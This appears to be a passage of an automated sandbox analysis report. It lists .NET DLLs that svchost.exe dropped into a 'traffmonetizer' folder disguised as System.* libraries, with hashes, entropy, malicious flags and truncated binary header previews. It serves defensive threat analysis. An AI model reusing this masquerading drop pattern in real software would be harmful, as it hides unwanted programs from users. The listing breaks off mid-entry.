SHA-512:	025E33F6927E634FE187491F40D96B36B2DDAF2ACDE97B340C8705BAE58BDED6C02B8BF9199A1B9D4AC75884C69DC665DC03B34571B1BD178CA1784C5F0D5451
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............)... ...@....... ..............................#.....@.................................>)..O....@..................x?...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................r)......H.......p .......................(........................................(......(......(......(....BSJB............v4.0.30319......l.......#~..........#Strings....`.......#US.h.......#GUID...x...(...#Blob...........G..........3.............................................."...........C...........u...............m.b...........J.....J.....J.....J...6.J...O.J.....J.....J...j.C...S.J.............................P ............X ............` ......4.....h ....................

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.925439366434707
Encrypted:	false
SSDEEP:	384:rb1nWCXWBC7Bm0GftpBjEYdgaQHRN7pC7lZ3atK9N:37RVioLpCf/9N
MD5:	D40515A84448B91315F956E6D1A6C64B
SHA1:	7FE773332D0461A252E52BE720A7794FCAAC7BFB
SHA-256:	CBE29672CD2B6A0EA97B55F3844FBEDE3E591996F39C3AA1F829F2FA50551FA9
SHA-512:	322F82AEB9EB9DA22257AC9FE835BF1C54C1BB268D37F0F97A4CA52BB42F6ACCCA9C8DBDB96D6D695FA69C24F5069978A4B6F1E960EE81D9EA671CCD30A348D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................iR....@..................................(..O....@..T................>...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc...T....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~.. ...t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....6.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.85763123423511
Encrypted:	false
SSDEEP:	384:UNyW7TWpvT1Dm0GftpBj6jaQHRN7hlGinGErW:ufi1DViGLpfW
MD5:	7F65CCBF58C39F3853BB8DC4137DFD12
SHA1:	3946DFF0B68F0CA01689BD44C348559ADF548258
SHA-256:	0AB1F7F87B7C2AFCA57D394E4F4E262C82BA3209CB0A750CD66401FB33F21ECA
SHA-512:	FF7D953EC4B82C10E64FC85D3AFC8A1A58582170EF1752D4688FA1D48EFC490DBA5F0A784E748F7902E96FD885EA868B1A84DE44F48CF071975F3CD3F8E52C6A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............2... ...@....... ..............................'.....@..................................)..O....@...................>...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P ......................((......................................BSJB............v4.0.30319......l...0...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.7.....7.....7...C.7.....7.....7...[.7...x.7...-.0.....7.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68472
Entropy (8bit):	5.977153039222987
Encrypted:	false
SSDEEP:	1536:czy/zOmekrEZa8frFpd3hQi/+sBzFLknqPO:TzOmekwZa8zdR+sBpSYO
MD5:	E8CDACFD2EF2F4B3D1A8E6D59B6E3027
SHA1:	9A85D938D8430A73255A65EA002A7709C81A4CF3
SHA-256:	EDF13EBF2D45152E26A16B947CD953AEB7A42602FA48E53FD7673934E5ACEA30
SHA-512:	EE1005270305B614236D68E427263B4B4528AD3842057670FAD061867286815577EC7D3ED8176E6683D723F9F592ABCBF28D24935CE8A34571AB7F1720E2FFC5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&gY..........." ..0.............2.... ........... .......................@............`.....................................O.......................x#... ..........T............................................ ............... ..H............text...8.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........`..,t..................t.........................................(%.....(%.....(%...^.(%......4...%...}....:.(%.....}....:.(%.....}....:.(%.....}........0..E........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X(&.....R...(&.....d.R....0..K........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X('.... ...._.S...('.....d.S..0..&.........+....((...G...Z.(......X....()...2....0....................().....1...()....Z.6.....(...+.+...()....Z........s+..............

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	355720
Entropy (8bit):	6.089400920308145
Encrypted:	false
SSDEEP:	3072:USOCU3QYmd1QhS1h2pCUoUJeXq7YAAEP1VIGm/0aW/49rZbpQ2M6R:Q7MQMh2pCUreatAJhrZlh
MD5:	38470CA21414A8827C24D8FE0438E84B
SHA1:	1C394A150C5693C69F85403F201CAA501594B7AB
SHA-256:	2C7435257690AC95DC03B45A236005124097F08519ADF3134B1D1ECE4190E64C
SHA-512:	079F7320CC2F3B97A5733725D3B13DFF17B595465159DAABCA5A166D39777100E5A2D9AF2A75989DFABDB2F29EAC0710E16C3BB2660621344B7A63C5DBB87EF8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..@...........\... ...`....... ..............................84....`.................................Y\..O....`..d............J...#...........[..T............................................ ............... ..H............text....?... ...@.................. ..`.rsrc...d....`.......B..............@..@.reloc...............H..............@..B.................\......H..........t...........@....Y...[........................................(%.....(%.....(%...^.(%..........%...}....:.(%.....}....:.(%.....}....:.(%.....}........0..E........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X(&.....R...(&.....d.R....0..K........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X('.... ...._.S...('.....d.S..0..&.........+....((...G...Z.(......X....()...2....0..............?.....().....1...()....Z.......(...+.+...()....Z........s+..............

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.952743264834991
Encrypted:	false
SSDEEP:	384:i6Rb32WVzWIvT1Dm0GftpBj2gaQHRN7EBlBLY6fG:NRb3dH1DViIgLEhYj
MD5:	7D317D88F9860A18ECF7FB90B33995D3
SHA1:	C2E4B19CB9A0B48E899512CD121FFE6657D41072
SHA-256:	C98A52BD017DF01AEA7B955E6F219537D391A62C2C2B976684DA282F9CD7CACF
SHA-512:	79ED01C6D1CEA3DBA6B3566E03D05A971745E221BE9330F6800A249D1B239E092D3FF704E7403E7ECD6B7709B24B0CDD7E518F2EE5DA38019E7139D80594173E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ...............................Y....@.................................t)..O....@..P................>...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................K...d.K...8.8...k.....L.................K.................c...........5.........................2.....2.....2...).2...1.2...9.2...A.2...I.2...Q.2...Y.2...a.2...i.2...q.2.......................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	37752
Entropy (8bit):	6.646566139863202
Encrypted:	false
SSDEEP:	768:ou5I+sqOylryry8qqIfUc7a5oUVi1vLFss:oYIVBpry8qqIfUcm5vVgDSs
MD5:	1A890C488CF2ECD406B804E7E3C5B7F0
SHA1:	BF2C1287F0EC04223CD17FE20AB2ECFFF18579E3
SHA-256:	F17FF442B77A6CFE9C118D2F8FAE1AB6C814A0D4F35C5844996BE84F3FCC8592
SHA-512:	4EEC61F9245DFF3D468818D6D6CBB8E12A5172658F1027A9AB0ECE03CC1377499833056A0DD4FF20B83B9FF9E47BB2E7F8DC7B641BC63AD78FF96C54BE01F524
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..F...........d... ........... ....................................@..................................c..O.......x............T..x?...........c............................................... ............... ..H............text....D... ...F.................. ..`.rsrc...x............H..............@..@.reloc...............R..............@..B.................c......H........&...7...........^.......b......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2rK..p.(....2ry..p.(....2r...p.(....2r...p.(....2rc..p.(..........(......0..;........\|....(......./......(....o....s

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25984
Entropy (8bit):	6.291520154015514
Encrypted:	false
SSDEEP:	384:1R973o62/KqcAnb05J3w0I5eUGef8s72XBWdvVW2JW8aJcyHRN7WEimpplex:1RZ4nNxnYTb6Blha
MD5:	E1E9D7D46E5CD9525C5927DC98D9ECC7
SHA1:	2242627282F9E07E37B274EA36FAC2D3CD9C9110
SHA-256:	4F81FFD0DC7204DB75AFC35EA4291769B07C440592F28894260EEA76626A23C6
SHA-512:	DA7AB8C0100E7D074F0E680B28D241940733860DFBDC5B8C78428B76E807F27E44D1C5EC95EE80C0B5098E8C5D5DA4D48BCE86800164F9734A05035220C3FF11
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ....................................@..................................V..O....`...............B...#..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(......(....z..(....z2.(....s....2.(....s....:........o.....~....~.-..(......}......}......}....~.-..(......}......}......}....Z..}......}......}....J.{....%-.&.o....^.u....,........(.....~.{.....{....3..{.....{.......&...(....2...(...........0..'........{......,..u....%-.&..(...+(....(....n.{....,..(....s.....q......0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.924199325151996
Encrypted:	false
SSDEEP:	384:Wvn4HREpWiQWBTwm0GftpBjtSaQHRN7BlGinGEb:pS7wVifSLJ/
MD5:	9088029E38B2A393F22AFD9E576CE86E
SHA1:	05E65EE95F647F38C717C73A0399870912DD374A
SHA-256:	3468E0C875DB94A8F45D56AB76BBCC677B942CA51A23649BA3C5AD1B20E391F1
SHA-512:	23DCF5819996EE0F0C8FE044D6642A12E98A40309CE1F3F74688CF8E3DD6F6ED230AEC391FE7E511E15FBBBF14BFF09F976E923F22F2D68AD816D8FFAD17F101
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................d.....@..................................(..O....@..P................>...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......l...#Strings....\|.......#US.........#GUID...........#Blob......................3......................................................n.....B.....".....V.................U...........$.....m...........?.....(...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22224
Entropy (8bit):	6.854915516686979
Encrypted:	false
SSDEEP:	384:G8MjKb47T3UCcqFMkJ59WdtWe+109m0GftpBjPRaQHRN7LKlgaGn7ce:jMjKb4vcGdOdVilRLLeG4e
MD5:	0AD301EE2B7282B87DCD0D862EFE14DC
SHA1:	F720109A38846E358BDE7C47D9C946A79D2B6B1C
SHA-256:	0110616DFE870B8BCF25DF8F6CE38EF5AAC39E728DDAA3420EA199F5A7E80A16
SHA-512:	C66FC92435C399804D8A8C1C836E5648725DDA8A55D7ACD897AE719CA231D89251A0D9A293A67F079E345709CFDA83DCC693AD41A28D13661A55459F94FE33E0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ..............................k.....@.................................`,..O....@...................>...`......(+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P ..X....................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....4.......#US.8.......#GUID...H.......#Blob......................3................................!.....O.......................................].....z.............................7.......j...........n...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.917303618941186
Encrypted:	false
SSDEEP:	384:RzyNXd4+BW6FW9vT1Dm0GftpBjJtaQHRN73hYlO62gHcXb:szA1DViHtLxRg8L
MD5:	FDB3A743B2DAE5924CBA88A5C865128D
SHA1:	C53132EC95A7211C1BB6DCD5AD21CCB150A7B923
SHA-256:	9D4FAEA9892D4ECFABF61986687FC6CB30F5F51A6B62819B9571FF58E04C4DD5
SHA-512:	CBD8370F3CB84CB9EB8BF3A7392245D6A90CE1A324971EA96170974DA092BDFC3DB2196F66958CA5D5000F13B18AFAB44FF82D50C5B9A625AA1B7A4AF17717DE
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ...................................@..................................(..O....@...................>...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...p...#Strings............#US.........#GUID...........#Blob......................3..................................................'.....'...T.....G.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21216
Entropy (8bit):	6.913880291057063
Encrypted:	false
SSDEEP:	384:Bvs2Q3HKJNrWWRW8KvT1Dm0GftpBjb/aQHRN765EldBoQAYY9:BuMg1DViJ/L65woJYi
MD5:	18CE4ECC42FC8D999EF091D812472CF0
SHA1:	F874903CEA9F08F1A0887949B47722E6BA81B789
SHA-256:	3D9EBC81B1BD3234666C8CE403A5F17A726867C68FFA5DE4EC8EE92599335658
SHA-512:	0C027440EF6F6C105B0BF9319F4E0EA421FD310699028AF0A159300145C662E74B4B5D969663E3B52CDA7F9934A6AB93BBAE9BCD1BD39AAAC24FCBA7EC451156
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ..............................L.....@..................................(..O....@..4................>...`......h'............................................... ............... ..H............text........ ...................... ..`.rsrc...4....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....p.......#US.t.......#GUID...........#Blob......................3................................................../...q./...E.....O.....Y.................X...........'.....p...........B.....+...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.8...K.X...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.897588144752097
Encrypted:	false
SSDEEP:	384:FFz0Q6gcqRhcsMWdMWwvT1Dm0GftpBjZ/AoaQHRN7plxBGDO:FFz1c6u1DViHBLTMO
MD5:	824053272B268C577E9ADF17ED398142
SHA1:	5EA3F290ECDE1BAB983CEEE2417A688B7ED9B7F5
SHA-256:	04B9235F64C9C846F8A767230714895DA87C7AE2CD0105E9D14835AE46F0FED8
SHA-512:	F475DCD2CC23FDFB017688713170FCAF8FEA05869A680613EA4AD84CB358ED0F2442DB0FF0DCBD739E3CC3DB7128A8F4A568AE8E5AF6A8840319B02630E420B9
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ....................................@.................................L(..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..D....................&......................................BSJB............v4.0.30319......l.......#~......,...#Strings.... .......#US.$.......#GUID...4.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22192
Entropy (8bit):	6.821272653310105
Encrypted:	false
SSDEEP:	384:E6xWA3W4aW/NWtvT1Dm0GftpBjHaQHRN7TqidlZ30F:EaBk1DViFLTquO
MD5:	11D674CFC81B7102C0BC6FFE58F6AC5E
SHA1:	DDDA49572D112944EC9AB62B31959AA93A386618
SHA-256:	4DC8D588EC63641C28422D648E8DE5E2C030EB7AFEC2071A99DD3BD9A204557F
SHA-512:	FB7C628B796A321AD9ECBF01D165E24F151C99D7E60A65D0AF52F779AD60A3203F47B247D44FC47044A68790D1EA4EE458A7BC8DF7EBE9D42C2275A9C11BC324
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ..............................).....@..................................+..O....@...................>...`...................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P .............................................................BSJB............v4.0.30319......l... ...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................-.........O.k.....k.....X.....................1...........o.........................B...........9...........J.....J.....J...).J...1.J...9.J...A.J...I.J...Q.J...Y.J...a.J...i.J...q.J.......................#.....+.....3.....;.....C.-...K.M...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	78992
Entropy (8bit):	6.056589052139225
Encrypted:	false
SSDEEP:	1536:6784YWau8lqubx6WxXLA+o2SLFyEdux136ytgHo0AuresehSAPVGHMc:67NV8v36tI0XCKAt6
MD5:	8C9424E37A28DB7D70E7D52F0DF33CF8
SHA1:	81CD1ACB53D493C54C8D56F379D790A901A355AC
SHA-256:	E4774AEAD2793F440E0CED6C097048423D118E0B6ED238C6FE5B456ACB07817F
SHA-512:	CB6364C136F9D07191CF89EA2D3B89E08DB0CD5911BF835C32AE81E4D51E0789DDC92D47E80B7FF7E24985890ED29A00B0A391834B43CF11DB303CD980D834F4
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>.Z.........." ..0.................. ... ....... .......................`............@.....................................O.... ..P................>...@......x................................................ ............... ..H............text........ ...................... ..`.rsrc...P.... ......................@..@.reloc.......@......................@..B........................H......................................................................6..o.........f..o...........o............o...........o...........o............o...........o ..........o!...........o"...........o#..........o$..........o%...........o&...........o'............0..L.........o(..........o)..........o...........o+...........o,...........o-.........0..Y.........o...........o/..........o0...........o1...........o2...........o3...........o4.... .......0..k.........o5....

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21712
Entropy (8bit):	6.911176710124494
Encrypted:	false
SSDEEP:	384:mr97WquWk+109m0GftpBjNWVaQHRN7u90lgaGn7a:mRJcVifWVLbGW
MD5:	090FF56C4FE2EEFF2E16F03099AD71E1
SHA1:	EF317CACC230A58A3B2FCC6CC079CC763AFCC7C5
SHA-256:	5F560E1DD529BB2529D7052E04008449F58D0439C2BB43437D7B5D39F84F949F
SHA-512:	FDAC43D0A18D9158DB4438349A7A550557A36E6ED0665EFCB65A046A5BEB5C38181996CBF6D860B8AD01C19E35315BB61AE766CAF06B23985E046484DAB45256
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............+... ...@....... ..............................W.....@.................................\+..O....@...................>...`......$*............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P ..T....................)......................................BSJB............v4.0.30319......l.......#~..T.......#Strings....0.......#US.4.......#GUID...D.......#Blob......................3......................................z...........j.....j.....W...............B.....z.............................................................Q.....Q.....Q...).Q...1.Q...9.Q...A.Q...I.Q...Q.Q...Y.Q...a.Q...i.Q...q.Q.......................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.875690583921479
Encrypted:	false
SSDEEP:	384:O16eWLDWevT1Dm0GftpBjAAYaQHRN7N9lZ3w:q6L91DViqTLXA
MD5:	37E21B63959F243A157534133F85C5AF
SHA1:	DFAD52A9990B2FAFCE7098CEBB174927E8E0BA00
SHA-256:	4F6A14E4BA2A2B26B8B8433D5F82F75A96AF5A4F036D9447373B07271493917B
SHA-512:	F59FAA6319FE2AFEBCCBD643E20C1EDB75DB74E9271354BD86DAC3BEA2CC59452EE024DC26B517AE88254A7C90DBE0E6C19A7B5AB3BFE9159D986D6C53CA5521
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0................. ...@....... ..............................#F....@.................................\|..O....@...................>...`......D)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P ..t....................(......................................BSJB............v4.0.30319......l.......#~......8...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................z.....z...u.g.................................>.....W.................r.....[...................a.....a.....a...).a...1.a...9.a...A.a...I.a...Q.a...Y.a...a.a...i.a...q.a.......................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22904
Entropy (8bit):	6.8552351968066105
Encrypted:	false
SSDEEP:	384:58G4YC2W+wW8WpwWOFm0GftpBjBdDcaQHRN78lgCovnt/:2GZ5QVipgLzH/h
MD5:	A5F541655A9EDC24F4B5184A40E40227
SHA1:	90E196DCD76168F770ABE30098399BC5866ADF1B
SHA-256:	B33D08149A756A401628D11BFDDFEEACA1F03C0578395BB061DAE44F8A12CE5D
SHA-512:	C4D13E95114E232300B36ED7B7A72CE786F66D0F68B0ED9D54FEF788A831B39C893DAA3C2DE982B376A56A539C23E8F314CE8552ED7094E6826D5F70BFBE2D4B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............+... ...@....... ...............................+....@.................................z+..O....@..x...............x?...`...................................................... ............... ..H............text........ ...................... ..`.rsrc...x....@......................@..@.reloc.......`......................@..B.................+......H.......t ......................P........................................s....:.(......}....2.{....(....*BSJB............v4.0.30319......l.......#~..0.......#Strings............#US.........#GUID...........#Blob...........WW.........3..............................................................L.........4.H...}.H...u.v...........;...........;...=.;.................../.%...........P.....m.....................................v...S.......v...d.v...........v...m...............

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21176
Entropy (8bit):	6.950543834803339
Encrypted:	false
SSDEEP:	384:z6ziqTEkGWvRWtvT1Dm0GftpBjqK4aQHRN7FMlBLY6fMf:zYT1E1DViaLFgYnf
MD5:	415E3AB72F17F10D646B3E2C7A76F612
SHA1:	ED25E94D4E88293345A0F28A5B975159C393B050
SHA-256:	24DAA1FAEE0478BA58FEBE8EE789EB88BE0A14D350B57AD8B10690C55976B2E1
SHA-512:	55B5C22B87F21DF89D0514AE05C9433B65A3C7532845FDFC4C2C5C5E2C3929D70143D84698FDB4DC13EC01895B1022CF0E5E76E12102739530B54150932A7B07
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................x.....@..................................)..O....@...................>...`......d(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.\|.......#GUID...........#Blob......................3................................................'...........~...................................G.....`.................{.....d...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.-...K.M...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21712
Entropy (8bit):	6.8884260737638385
Encrypted:	false
SSDEEP:	384:jUv7c7iWNCWxvT1Dm0GftpBjvaQHRN7KlBLY6fmV:jM7c1R1DVi5LeYpV
MD5:	328D12AF9613B0F3F25320B85DCCCBF4
SHA1:	09D02B85A094E925AC3C5D8B1ACA096B730C160F
SHA-256:	8957F0BCEA6AB8A011A53AE62466505199F11A228F87F3809931D974F87078CE
SHA-512:	16569ECB727ADA36811E72FFC925F07AA21B8A627BE45F1EDA18CF2B759939591DCAFCB2D087596EE903C5ABFFAF19F56F25E9710EF22874C934CAD19537B798
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0................. ...@....... ..............................\.....@....................................O....@...................>...`......`)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P .......................(......................................BSJB............v4.0.30319......l.......#~......l...#Strings....l.......#US.p.......#GUID...........#Blob......................3................................................4...........~.............H.....H.....H.....H...T.H...m.H.....H.....H.........d.H.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21712
Entropy (8bit):	6.916807633540711
Encrypted:	false
SSDEEP:	192:3+vxmNWnRW52bivT1CCjdks/nGfe4pBjSrl1WAaAXcrMHnhWgN7aMW2Mqnaj87Xf:GSWnRWDvT1Dm0GftpBjy7aQHRN7IlZ3U
MD5:	D9F02D9F7DA653F82E75112A2AB99CE6
SHA1:	BBBB4C2C3911AE1F5BA7FAF1D632ED0F14D9B6AC
